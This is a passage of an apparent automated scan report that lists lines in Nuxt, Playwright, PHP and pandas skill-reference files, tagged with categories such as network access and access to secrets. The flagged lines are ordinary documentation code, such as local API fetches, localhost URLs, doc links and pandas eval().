  • Network accessline 112
    $fetch('/api/coupons'),
  • Network accessline 113
    $fetch('/api/offers'),
  • Network accessline 125
    // app/composables/useAPI.ts export const useAPI = createUseFetch({   baseURL: 'https://api.nuxt.com',
  • Network accessline 126
    export const useAPI = createUseFetch({   baseURL: 'https://api.nuxt.com',   // shared interceptors, headers, etc.
  • Network accessline 127
    baseURL: 'https://api.nuxt.com',
  • Network accessline 138
    const { data } = await useAPI('/modules') // Caller can still override any option const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' })
  • Network accessline 139
    // Caller can still override any option const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' }) </script>
  • Network accessline 140
    const { data: other } = await useAPI('/modules', { baseURL: 'https://other.com' })
  • Network accessline 150
    // Function → options OVERRIDE caller's (enforce auth/baseURL) export const useAPI = createUseFetch(callerOptions => ({   baseURL: 'https://api.nuxt.com', // always enforced
  • Network accessline 151
    export const useAPI = createUseFetch(callerOptions => ({   baseURL: 'https://api.nuxt.com', // always enforced }))
  • Network accessline 152
    baseURL: 'https://api.nuxt.com', // always enforced
  • Network accessline 189
    const todos = await $fetch('/api/todos')
  • Network accessline 196
    await $fetch('/api/todos', { method: 'POST', body: { title: 42 } })
  • Network accessline 226
    <script setup lang="ts"> async function submitForm() {   const result = await $fetch('/api/submit', {
  • Network accessline 227
    async function submitForm() {   const result = await $fetch('/api/submit', {     method: 'POST',
  • Network accessline 228
    const result = await $fetch('/api/submit', {
  • Network accessline 339
    <script setup lang="ts"> const headers = useRequestHeaders(['cookie']) const data = await $fetch('/api/user', { headers })
  • Network accessline 340
    const headers = useRequestHeaders(['cookie']) const data = await $fetch('/api/user', { headers }) </script>
  • Network accessline 341
    const data = await $fetch('/api/user', { headers })
  • Network accessline 345
    <!--  Source references: - https://nuxt.com/docs/getting-started/data-fetching
  • Network accessline 346
    Source references: - https://nuxt.com/docs/getting-started/data-fetching - https://nuxt.com/docs/api/composables/use-fetch
  • Network accessline 347
    - https://nuxt.com/docs/getting-started/data-fetching - https://nuxt.com/docs/api/composables/use-fetch - https://nuxt.com/docs/api/composables/use-async-data
  • Network accessline 348
    - https://nuxt.com/docs/api/composables/use-fetch
  • Network accessline 349
    - https://nuxt.com/docs/api/composables/use-async-data - https://nuxt.com/docs/api/composables/create-use-fetch - https://nuxt.com/docs/api/composables/create-use-async-data
  • Network accessline 350
    - https://nuxt.com/docs/api/composables/create-use-fetch
  • Network accessline 351
    - https://nuxt.com/docs/api/composables/create-use-async-data
  • Network accessline 352
    - https://nuxt.com/docs/guide/recipes/custom-usefetch

packages/autoskills/skills-registry/nuxt/references/core-deployment.md

  • Network accessline 8
    Nuxt is platform-agnostic thanks to [Nitro](https://nitro.build), its server engine. You can deploy to almost any platform with minimal configuration—Node.js servers, static hosting, serverless functions, or edge networks.
  • Network accessline 10
    > **Full list of supported platforms:** https://nitro.build/deploy
  • Network accessline 220
    <!--  Source references: - https://nuxt.com/docs/getting-started/deployment
  • Network accessline 221
    Source references: - https://nuxt.com/docs/getting-started/deployment - https://nitro.build/deploy
  • Network accessline 222
    - https://nuxt.com/docs/getting-started/deployment
  • Network accessline 223
    - https://nitro.build/deploy

packages/autoskills/skills-registry/nuxt/references/core-directory-structure.md

  • Network accessline 303
    <!--  Source references: - https://nuxt.com/docs/directory-structure
  • Network accessline 304
    Source references: - https://nuxt.com/docs/directory-structure - https://nuxt.com/docs/directory-structure/app
  • Network accessline 305
    - https://nuxt.com/docs/directory-structure
  • Network accessline 306
    - https://nuxt.com/docs/directory-structure/app
  • Network accessline 307
    - https://nuxt.com/docs/directory-structure/server
  • Network accessline 308
    - https://nuxt.com/docs/directory-structure/shared
  • Network accessline 309
    - https://nuxt.com/docs/guide/going-further/server-imports
  • Network accessline 310
    - https://nuxt.com/docs/api/nuxt-config#alias

packages/autoskills/skills-registry/nuxt/references/core-modules.md

  • Network accessline 287
    <!--  Source references: - https://nuxt.com/docs/guide/modules
  • Network accessline 288
    Source references: - https://nuxt.com/docs/guide/modules - https://nuxt.com/docs/guide/modules/module-anatomy
  • Network accessline 289
    - https://nuxt.com/docs/guide/modules
  • Network accessline 290
    - https://nuxt.com/docs/guide/modules/module-anatomy
  • Network accessline 291
    - https://nuxt.com/docs/guide/modules/module-dependencies
  • Network accessline 292
    - https://nuxt.com/docs/guide/modules/server-compatibility
  • Network accessline 293
    - https://nuxt.com/docs/api/kit

packages/autoskills/skills-registry/nuxt/references/core-routing.md

  • Network accessline 272
    <!--  Source references: - https://nuxt.com/docs/getting-started/routing
  • Network accessline 273
    Source references: - https://nuxt.com/docs/getting-started/routing - https://nuxt.com/docs/directory-structure/app/pages
  • Network accessline 274
    - https://nuxt.com/docs/getting-started/routing
  • Network accessline 275
    - https://nuxt.com/docs/directory-structure/app/pages
  • Network accessline 276
    - https://nuxt.com/docs/directory-structure/app/middleware
  • Network accessline 277
    - https://nuxt.com/docs/api/utils/define-page-meta
  • Network accessline 278
    - https://nuxt.com/docs/getting-started/upgrade

packages/autoskills/skills-registry/nuxt/references/features-components-autoimport.md

  • Network accessline 345
    <!--  Source references: - https://nuxt.com/docs/directory-structure/app/components
  • Network accessline 346
    Source references: - https://nuxt.com/docs/directory-structure/app/components - https://nuxt.com/docs/guide/concepts/auto-imports#auto-imported-components
  • Network accessline 347
    - https://nuxt.com/docs/directory-structure/app/components
  • Network accessline 348
    - https://nuxt.com/docs/guide/concepts/auto-imports#auto-imported-components

packages/autoskills/skills-registry/nuxt/references/features-components.md

  • Network accessline 22
    <!-- External link (opens in new tab) -->   <NuxtLink to="https://nuxt.com" external>Nuxt</NuxtLink>
  • Network accessline 23
    <NuxtLink to="https://nuxt.com" external>Nuxt</NuxtLink>
  • Network accessline 283
    <!--  Source references: - https://nuxt.com/docs/4.x/api/components/nuxt-link
  • Network accessline 284
    Source references: - https://nuxt.com/docs/4.x/api/components/nuxt-link - https://nuxt.com/docs/4.x/api/components/nuxt-page
  • Network accessline 285
    - https://nuxt.com/docs/4.x/api/components/nuxt-link
  • Network accessline 286
    - https://nuxt.com/docs/4.x/api/components/nuxt-page
  • Network accessline 287
    - https://nuxt.com/docs/4.x/api/components/nuxt-layout
  • Network accessline 288
    - https://nuxt.com/docs/4.x/api/components/client-only
  • Network accessline 289
    - https://nuxt.com/docs/4.x/api/components/nuxt-announcer
  • Network accessline 290
    - https://nuxt.com/docs/4.x/api/components/nuxt-island

packages/autoskills/skills-registry/nuxt/references/features-composables.md

  • Network accessline 83
    async function submit() {   try {     await $fetch('/api/contact', { method: 'POST', body: form })
  • Network accessline 84
    try {     await $fetch('/api/contact', { method: 'POST', body: form })     polite('Message sent successfully')   // waits for screen reader silence
  • Network accessline 85
    await $fetch('/api/contact', { method: 'POST', body: form })
  • Network accessline 116
    async function login(credentials: Credentials) {     user.value = await $fetch('/api/auth/login', {
  • Network accessline 117
    user.value = await $fetch('/api/auth/login', {
  • Network accessline 123
    async function logout() {     await $fetch('/api/auth/logout', { method: 'POST' })
  • Network accessline 124
    await $fetch('/api/auth/logout', { method: 'POST' })
  • Access to secretsline 210
    [Credential-related source omitted]
  • Network accessline 317
    <!--  Source references: - https://nuxt.com/docs/4.x/guide/concepts/auto-imports
  • Network accessline 318
    Source references: - https://nuxt.com/docs/4.x/guide/concepts/auto-imports - https://nuxt.com/docs/4.x/directory-structure/app/composables
  • Network accessline 319
    - https://nuxt.com/docs/4.x/guide/concepts/auto-imports
  • Network accessline 320
    - https://nuxt.com/docs/4.x/directory-structure/app/composables
  • Network accessline 321
    - https://nuxt.com/docs/4.x/directory-structure/app/utils
  • Network accessline 322
    - https://nuxt.com/docs/4.x/directory-structure/shared
  • Network accessline 323
    - https://nuxt.com/docs/4.x/api/composables/use-announcer

packages/autoskills/skills-registry/nuxt/references/features-server.md

  • Network accessline 43
    Access at `/api/hello`. Return typing flows automatically to `$fetch('/api/hello')`.
  • Network accessline 204
    `readValidatedBody` / `getValidatedQuery` accept any [Standard Schema](https://standardschema.dev) (Zod, Valibot, ArkType). Validated shapes also type the matching `$fetch`/`useFetch` request:
  • Network accessline 336
    <!--  Source references: - https://nuxt.com/docs/getting-started/server
  • Network accessline 337
    Source references: - https://nuxt.com/docs/getting-started/server - https://nuxt.com/docs/directory-structure/server
  • Network accessline 338
    - https://nuxt.com/docs/getting-started/server
  • Network accessline 339
    - https://nuxt.com/docs/directory-structure/server
  • Network accessline 340
    - https://nuxt.com/docs/guide/going-further/server-imports
  • Network accessline 341
    - https://nuxt.com/docs/getting-started/upgrade#migration-to-nitro-v3
  • Network accessline 342
    - https://nitro.build/blog/v3-beta

packages/autoskills/skills-registry/nuxt/references/features-state.md

  • Network accessline 60
    await callOnce(async () => {   config.value = await $fetch('/api/config')
  • Network accessline 61
    config.value = await $fetch('/api/config')
  • Network accessline 125
    async function login(credentials: Credentials) {     user.value = await $fetch('/api/login', {
  • Network accessline 126
    user.value = await $fetch('/api/login', {
  • Network accessline 191
    <!--  Source references: - https://nuxt.com/docs/getting-started/state-management
  • Network accessline 192
    Source references: - https://nuxt.com/docs/getting-started/state-management - https://nuxt.com/docs/api/composables/use-state
  • Network accessline 193
    - https://nuxt.com/docs/getting-started/state-management
  • Network accessline 194
    - https://nuxt.com/docs/api/composables/use-state
  • Network accessline 195
    - https://nuxt.com/docs/api/utils/clear-nuxt-state

packages/autoskills/skills-registry/nuxt/references/rendering-modes.md

  • Network accessline 242
    <!--  Source references: - https://nuxt.com/docs/guide/concepts/rendering
  • Network accessline 243
    Source references: - https://nuxt.com/docs/guide/concepts/rendering - https://nuxt.com/docs/getting-started/prerendering
  • Network accessline 244
    - https://nuxt.com/docs/guide/concepts/rendering
  • Network accessline 245
    - https://nuxt.com/docs/getting-started/prerendering
  • Network accessline 246
    - https://nuxt.com/docs/api/nuxt-config#routerules

packages/autoskills/skills-registry/organization/SKILL.md

  • Network accessline 46
    name: "My Company",     slug: "my-company",     logo: "https://example.com/logo.png",
  • Network accessline 47
    slug: "my-company",     logo: "https://example.com/logo.png",     metadata: { plan: "pro" },
  • Network accessline 48
    logo: "https://example.com/logo.png",
  • Network accessline 170
    html: `             <p>${inviter.user.name} invited you to join ${organization.name}</p>             <a href="https://yourapp.com/accept-invite?id=${invitation.id}">
  • Network accessline 171
    <p>${inviter.user.name} invited you to join ${organization.name}</p>             <a href="https://yourapp.com/accept-invite?id=${invitation.id}">               Accept Invitation
  • Network accessline 172
    <a href="https://yourapp.com/accept-invite?id=${invitation.id}">
  • Network accessline 196
    email: "newuser@example.com",   role: "member",   callbackURL: "https://yourapp.com/dashboard",
  • Network accessline 197
    role: "member",   callbackURL: "https://yourapp.com/dashboard", });
  • Network accessline 198
    callbackURL: "https://yourapp.com/dashboard",
  • Network accessline 462
    to: data.email,           subject: `Join ${data.organization.name}`,           html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`,
  • Network accessline 463
    subject: `Join ${data.organization.name}`,           html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`,         });
  • Network accessline 464
    html: `<a href="https://app.com/invite/${data.invitation.id}">Accept</a>`,

packages/autoskills/skills-registry/pandas-data-analysis/SKILL.md

  • Network accessline 258
    ### Official Documentation - [Pandas Docs](https://pandas.pydata.org/docs/) - Official documentation
  • Network accessline 259
    - [Pandas Docs](https://pandas.pydata.org/docs/) - Official documentation
  • Network accessline 260
    - [NumPy Docs](https://numpy.org/doc/) - NumPy documentation
  • Network accessline 261
    - [Matplotlib Docs](https://matplotlib.org/) - Plotting library
  • Network accessline 263
    ### Learning Platforms - [Kaggle](https://www.kaggle.com/learn/pandas) - Free Pandas course
  • Network accessline 264
    - [Kaggle](https://www.kaggle.com/learn/pandas) - Free Pandas course
  • Network accessline 265
    - [DataCamp](https://www.datacamp.com/courses/pandas-foundations) - Interactive courses
  • Network accessline 266
    - [Python for Data Analysis](https://wesmckinney.com/book/) - Wes McKinney's book
  • Network accessline 268
    ### Tools - [Jupyter Notebook](https://jupyter.org/) - Interactive development
  • Network accessline 269
    - [Jupyter Notebook](https://jupyter.org/) - Interactive development
  • Network accessline 270
    - [Google Colab](https://colab.research.google.com/) - Cloud notebooks
  • Network accessline 271
    - [Anaconda](https://www.anaconda.com/) - Data science distribution

packages/autoskills/skills-registry/pandas-data-analysis/scripts/helper.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/pandas-pro/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   company: https://synergetic.solutions
  • Network accessline 6
    author: https://github.com/Jeffallan
  • Network accessline 7
    company: https://synergetic.solutions
  • Network accessline 181
    Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions)
  • Network accessline 183
    [Documentation](https://jeffallan.github.io/claude-skills/skills/data-ml/pandas-pro/)

packages/autoskills/skills-registry/pandas-pro/references/performance-optimization.md

  • Dangerous shell operationline 379
    ### eval() for Complex Expressions
  • Dangerous shell operationline 382
    # eval() uses numexpr for faster computation
  • Dangerous shell operationline 386
    # Using eval (faster for large DataFrames)

packages/autoskills/skills-registry/php-pro/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   company: https://synergetic.solutions
  • Network accessline 6
    author: https://github.com/Jeffallan
  • Network accessline 7
    company: https://synergetic.solutions
  • Network accessline 209
    Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions)
  • Network accessline 211
    [Documentation](https://jeffallan.github.io/claude-skills/skills/language/php-pro/)

packages/autoskills/skills-registry/php-pro/references/async-patterns.md

  • Network accessline 23
    $server->on('start', function (Server $server) {     echo "Swoole HTTP server started at http://0.0.0.0:9501\n";
  • Network accessline 24
    echo "Swoole HTTP server started at http://0.0.0.0:9501\n";
  • Network accessline 66
    $urls = [         'https://api.example.com/users',
  • Network accessline 67
    'https://api.example.com/users',
  • Network accessline 68
    'https://api.example.com/posts',
  • Network accessline 69
    'https://api.example.com/comments',
  • Network accessline 202
    echo "Server running at http://0.0.0.0:8080\n";
  • Network accessline 340
    // Usage $fiber1 = fetchData('https://api.example.com/users');
  • Network accessline 341
    $fiber1 = fetchData('https://api.example.com/users');
  • Network accessline 342
    $fiber2 = fetchData('https://api.example.com/posts');

packages/autoskills/skills-registry/php-pro/references/symfony-patterns.md

  • Access to secretsline 62
    [Credential-related source omitted]

packages/autoskills/skills-registry/php-pro/references/testing-quality.md

  • Network accessline 411
    <!-- phpunit.xml --> <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 412
    <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
  • Network accessline 413
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

packages/autoskills/skills-registry/playwright-best-practices/advanced/authentication-flows.md

  • Network accessline 27
    await page.route('**/api/auth/register', async (route) => {     const response = await route.fetch();
  • Network accessline 28
    const response = await route.fetch();
  • Network accessline 94
    await page.route('**/api/auth/forgot-password', async (route) => {     const response = await route.fetch();
  • Network accessline 95
    const response = await route.fetch();

packages/autoskills/skills-registry/playwright-best-practices/advanced/authentication.md

  • Network accessline 57
    await page.goto("http://localhost:4000/login");
  • Network accessline 74
    export default defineConfig({   use: {     baseURL: "http://localhost:4000",
  • Network accessline 75
    use: {     baseURL: "http://localhost:4000",     storageState: ".auth/session.json",
  • Network accessline 76
    baseURL: "http://localhost:4000",
  • Network accessline 125
    globalSetup: require.resolve("./global-setup"),   use: {     baseURL: "http://localhost:4000",
  • Network accessline 126
    use: {     baseURL: "http://localhost:4000",     storageState: ".auth/session.json",
  • Network accessline 127
    baseURL: "http://localhost:4000",
  • Network accessline 352
    1. User clicks "Sign in with Provider" → browser navigates to `https://accounts.provider.com/authorize?...`
  • Network accessline 353
    2. User authenticates on the provider's page → provider redirects back to your app's **callback route** (e.g. `http://localhost:4000/auth/callback?code=ABC&state=XYZ`)
  • Network accessline 364
    test("login via mocked OAuth flow", async ({ page }) => {   await page.route("https://accounts.provider.com/**", async (route) => {
  • Network accessline 365
    await page.route("https://accounts.provider.com/**", async (route) => {
  • Network accessline 366
    const callbackUrl = new URL("http://localhost:4000/auth/callback");
  • Access to secretsline 443
    [Credential-related source omitted]
  • Network accessline 650
    authenticatedPage: async ({ browser, playwright }, use) => {     const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:4000",
  • Network accessline 651
    const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:4000",     });
  • Network accessline 652
    baseURL: "http://localhost:4000",
  • Access to secretsline 815
    [Credential-related source omitted]
  • Access to secretsline 817
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/advanced/multi-context.md

  • Access to secretsline 183
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/advanced/network-advanced.md

  • Network accessline 62
    await page.route("**/api/products", async (route) => {     // Fetch real response     const response = await route.fetch();
  • Network accessline 63
    // Fetch real response     const response = await route.fetch();     const json = await response.json();
  • Network accessline 64
    const response = await route.fetch();

packages/autoskills/skills-registry/playwright-best-practices/advanced/third-party.md

  • Network accessline 326
    // Poll Mailinator API for new email       const response = await request.get(         `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`,
  • Network accessline 327
    const response = await request.get(         `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`,         {
  • Network accessline 328
    `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}`,
  • Access to secretsline 331
    [Credential-related source omitted]
  • Network accessline 339
    // Get full message       const msgResponse = await request.get(         `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`,
  • Network accessline 340
    const msgResponse = await request.get(         `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`,         {
  • Network accessline 341
    `https://api.mailinator.com/v2/domains/public/inboxes/${inbox}/messages/${latest.id}`,
  • Access to secretsline 344
    [Credential-related source omitted]
  • Network accessline 429
    (window as any).analytics = {       track: (event: string, props: any) => {         fetch("/api/analytics/track", {
  • Network accessline 430
    track: (event: string, props: any) => {         fetch("/api/analytics/track", {           method: "POST",
  • Network accessline 431
    fetch("/api/analytics/track", {

packages/autoskills/skills-registry/playwright-best-practices/architecture/test-architecture.md

  • Access to secretsline 50
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/architecture/when-to-mock.md

  • Network accessline 114
    test('display low inventory warning', async ({ page }) => {   await page.route('**/api/inventory/*', async (route) => {     const response = await route.fetch();
  • Network accessline 115
    await page.route('**/api/inventory/*', async (route) => {     const response = await route.fetch();     const data = await response.json();
  • Network accessline 116
    const response = await route.fetch();
  • Network accessline 132
    test('inject test notification into real response', async ({ page }) => {   await page.route('**/api/alerts', async (route) => {     const response = await route.fetch();
  • Network accessline 133
    await page.route('**/api/alerts', async (route) => {     const response = await route.fetch();     const data = await response.json();
  • Network accessline 134
    const response = await route.fetch();
  • Network accessline 201
    webServer: {     command: 'npm run dev',     url: 'http://localhost:3000',
  • Network accessline 202
    command: 'npm run dev',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 203
    url: 'http://localhost:3000',
  • Network accessline 206
    },   use: {     baseURL: 'http://localhost:3000',
  • Network accessline 207
    use: {     baseURL: 'http://localhost:3000',   },
  • Network accessline 208
    baseURL: 'http://localhost:3000',
  • Network accessline 218
    use: {     baseURL: process.env.CI       ? 'https://staging.example.com'
  • Network accessline 219
    baseURL: process.env.CI       ? 'https://staging.example.com'       : 'http://localhost:3000',
  • Network accessline 220
    ? 'https://staging.example.com'
  • Network accessline 221
    : 'http://localhost:3000',
  • Network accessline 231
    webServer: {     command: 'docker compose -f docker-compose.test.yml up --wait',     url: 'http://localhost:3000/health',
  • Network accessline 232
    command: 'docker compose -f docker-compose.test.yml up --wait',     url: 'http://localhost:3000/health',     reuseExistingServer: !process.env.CI,
  • Network accessline 233
    url: 'http://localhost:3000/health',
  • Network accessline 333
    name: 'ci-fast',       testMatch: '**/*.spec.ts',       use: { baseURL: 'http://localhost:3000' },
  • Network accessline 334
    testMatch: '**/*.spec.ts',       use: { baseURL: 'http://localhost:3000' },     },
  • Network accessline 335
    use: { baseURL: 'http://localhost:3000' },
  • Network accessline 338
    name: 'nightly-full',       testMatch: '**/*.integration.spec.ts',       use: { baseURL: 'https://staging.example.com' },
  • Network accessline 339
    testMatch: '**/*.integration.spec.ts',       use: { baseURL: 'https://staging.example.com' },       timeout: 120_000,
  • Network accessline 340
    use: { baseURL: 'https://staging.example.com' },

packages/autoskills/skills-registry/playwright-best-practices/browser-apis/browser-apis.md

  • Network accessline 190
    expect(clipboardContent).toContain("https://example.com/share/");

packages/autoskills/skills-registry/playwright-best-practices/browser-apis/iframes.md

  • Network accessline 40
    const frame = page.frame({ name: "my-frame" }); if (frame) {   await frame.goto("https://example.com");
  • Network accessline 41
    if (frame) {   await frame.goto("https://example.com");   const title = await frame.title();
  • Network accessline 42
    await frame.goto("https://example.com");
  • Network accessline 245
    // Navigate within iframe   await frame.goto("https://embedded-app.com/page2");
  • Network accessline 246
    await frame.goto("https://embedded-app.com/page2");

packages/autoskills/skills-registry/playwright-best-practices/browser-apis/service-workers.md

  • Network accessline 175
    const cache = await caches.open("app-cache-v1");     const requests = await cache.keys();     return requests.map((r) => r.url);
  • Network accessline 176
    const requests = await cache.keys();     return requests.map((r) => r.url);   });
  • Network accessline 177
    return requests.map((r) => r.url);

packages/autoskills/skills-registry/playwright-best-practices/core/configuration.md

  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 94
    use: {     baseURL: process.env.BASE_URL || 'http://localhost:4000',
  • Network accessline 95
    baseURL: process.env.BASE_URL || 'http://localhost:4000',
  • Network accessline 113
    webServer: {     command: 'npm run start',     url: 'http://localhost:4000',
  • Network accessline 114
    command: 'npm run start',     url: 'http://localhost:4000',     reuseExistingServer: !process.env.CI,
  • Network accessline 115
    url: 'http://localhost:4000',
  • Network accessline 139
    const envConfig: Record<string, { baseURL: string; retries: number }> = {   local:   { baseURL: 'http://localhost:4000',      retries: 0 },
  • Network accessline 140
    local:   { baseURL: 'http://localhost:4000',      retries: 0 },
  • Network accessline 141
    staging: { baseURL: 'https://staging.myapp.com',  retries: 2 },
  • Network accessline 142
    prod:    { baseURL: 'https://myapp.com',          retries: 2 },
  • Network accessline 216
    export default defineConfig({   testDir: './e2e',   use: { baseURL: 'http://localhost:4000' },
  • Network accessline 217
    testDir: './e2e',   use: { baseURL: 'http://localhost:4000' },   webServer: {
  • Network accessline 218
    use: { baseURL: 'http://localhost:4000' },
  • Network accessline 221
    ? 'npm run build && npm run preview'       : 'npm run dev',     url: 'http://localhost:4000',
  • Network accessline 222
    : 'npm run dev',     url: 'http://localhost:4000',     reuseExistingServer: !process.env.CI,
  • Network accessline 223
    url: 'http://localhost:4000',
  • Access to secretsline 270
    [Credential-related source omitted]
  • Network accessline 275
    # .env.example (commit this) BASE_URL=http://localhost:4000
  • Network accessline 276
    BASE_URL=http://localhost:4000
  • Access to secretsline 278
    [Credential-related source omitted]
  • Network accessline 280
    # .env.local (gitignored) BASE_URL=http://localhost:4000
  • Network accessline 281
    BASE_URL=http://localhost:4000
  • Access to secretsline 283
    [Credential-related source omitted]
  • Network accessline 285
    # .env.staging (gitignored) BASE_URL=https://staging.myapp.com
  • Network accessline 286
    BASE_URL=https://staging.myapp.com
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 293
    [Credential-related source omitted]
  • Network accessline 382
    |-------|---------|------------| | `timeout: 300_000` globally | Masks flaky tests; slow CI | Fix root cause; keep 30s default | | Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + r
  • Network accessline 383
    | `timeout: 300_000` globally | Masks flaky tests; slow CI | Fix root cause; keep 30s default | | Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + relative paths | | All browsers on
  • Network accessline 384
    | Hardcoded URLs: `page.goto('http://localhost:4000/login')` | Breaks in other environments | Use `baseURL` + relative paths |
  • Network accessline 401
    // Wrong - ignores baseURL await page.goto('http://localhost:4000/dashboard');
  • Network accessline 402
    await page.goto('http://localhost:4000/dashboard');
  • Network accessline 413
    webServer: {   command: 'npm run dev',   url: 'http://localhost:4000/api/health',  // use real endpoint
  • Network accessline 414
    command: 'npm run dev',   url: 'http://localhost:4000/api/health',  // use real endpoint   reuseExistingServer: !process.env.CI,
  • Network accessline 415
    url: 'http://localhost:4000/api/health',  // use real endpoint

packages/autoskills/skills-registry/playwright-best-practices/core/fixtures-hooks.md

  • Access to secretsline 19
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/core/global-setup.md

  • Network accessline 220
    // Wait for server to be ready   await waitForServer("http://localhost:3000/health", 30000);
  • Network accessline 221
    await waitForServer("http://localhost:3000/health", 30000);
  • Network accessline 230
    while (Date.now() - start < timeout) {     try {       const response = await fetch(url);
  • Network accessline 231
    try {       const response = await fetch(url);       if (response.ok) return;
  • Network accessline 232
    const response = await fetch(url);
  • Access to secretsline 296
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/core/projects-dependencies.md

  • Network accessline 44
    name: "staging",       use: {         baseURL: "https://staging.example.com",
  • Network accessline 45
    use: {         baseURL: "https://staging.example.com",       },
  • Network accessline 46
    baseURL: "https://staging.example.com",
  • Network accessline 50
    name: "production",       use: {         baseURL: "https://example.com",
  • Network accessline 51
    use: {         baseURL: "https://example.com",       },
  • Network accessline 52
    baseURL: "https://example.com",
  • Network accessline 56
    name: "local",       use: {         baseURL: "http://localhost:3000",
  • Network accessline 57
    use: {         baseURL: "http://localhost:3000",       },
  • Network accessline 58
    baseURL: "http://localhost:3000",
  • Network accessline 76
    name: "api",       testDir: "./tests/api",       use: { baseURL: "http://localhost:3000" },
  • Network accessline 77
    testDir: "./tests/api",       use: { baseURL: "http://localhost:3000" },     },
  • Network accessline 78
    use: { baseURL: "http://localhost:3000" },

packages/autoskills/skills-registry/playwright-best-practices/core/test-suite-structure.md

  • Network accessline 33
    reporter: [["html"], ["list"]],   use: {     baseURL: "http://localhost:3000",
  • Network accessline 34
    use: {     baseURL: "http://localhost:3000",     trace: "on-first-retry",
  • Network accessline 35
    baseURL: "http://localhost:3000",
  • Network accessline 47
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 48
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 49
    url: "http://localhost:3000",

packages/autoskills/skills-registry/playwright-best-practices/debugging/debugging.md

  • Network accessline 155
    page.on("request", (req) => requests.push(`>> ${req.method()} ${req.url()}`));
  • Network accessline 156
    page.on("requestfinished", (req) => {     const resp = req.response();     requests.push(`<< ${resp?.status()} ${req.url()}`);
  • Network accessline 157
    const resp = req.response();     requests.push(`<< ${resp?.status()} ${req.url()}`);   });
  • Network accessline 158
    requests.push(`<< ${resp?.status()} ${req.url()}`);

packages/autoskills/skills-registry/playwright-best-practices/frameworks/angular.md

  • Network accessline 38
    use: {     baseURL: 'http://localhost:4200',
  • Network accessline 39
    baseURL: 'http://localhost:4200',
  • Network accessline 52
    ? 'npx ng build && npx http-server dist/my-app/browser -p 4200 -s'       : 'npx ng serve',     url: 'http://localhost:4200',
  • Network accessline 53
    : 'npx ng serve',     url: 'http://localhost:4200',     reuseExistingServer: !process.env.CI,
  • Network accessline 54
    url: 'http://localhost:4200',
  • Network accessline 452
    ? 'npx ng build --ssr && node dist/my-app/server/server.mjs'     : 'npx ng serve --ssr',   url: 'http://localhost:4200',
  • Network accessline 453
    : 'npx ng serve --ssr',   url: 'http://localhost:4200',   reuseExistingServer: !process.env.CI,
  • Network accessline 454
    url: 'http://localhost:4200',

packages/autoskills/skills-registry/playwright-best-practices/frameworks/nextjs.md

  • Network accessline 36
    use: {     baseURL: 'http://localhost:3000',
  • Network accessline 37
    baseURL: 'http://localhost:3000',
  • Network accessline 49
    ? 'npm run build && npm run start'       : 'npm run dev',     url: 'http://localhost:3000',
  • Network accessline 50
    : 'npm run dev',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 51
    url: 'http://localhost:3000',
  • Network accessline 66
    # .env.test (commit this) NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 67
    NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 428
    ? 'npm run build && npm run start'     : 'npx next dev --turbopack',   url: 'http://localhost:3000',
  • Network accessline 429
    : 'npx next dev --turbopack',   url: 'http://localhost:3000',   reuseExistingServer: !process.env.CI,
  • Network accessline 430
    url: 'http://localhost:3000',
  • Network accessline 439
    {     command: 'npm run dev:api',     url: 'http://localhost:4000/health',
  • Network accessline 440
    command: 'npm run dev:api',     url: 'http://localhost:4000/health',     reuseExistingServer: !process.env.CI,
  • Network accessline 441
    url: 'http://localhost:4000/health',
  • Network accessline 444
    {     command: 'npm run dev',     url: 'http://localhost:3000',
  • Network accessline 445
    command: 'npm run dev',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 446
    url: 'http://localhost:3000',
  • Network accessline 457
    | Test `getServerSideProps` directly | Depends on req/res context | Navigate to page and verify rendered output | | Mock your own API routes | Hides real API bugs | Let real API handle requests; mock only external services | | `page.goto('h
  • Network accessline 458
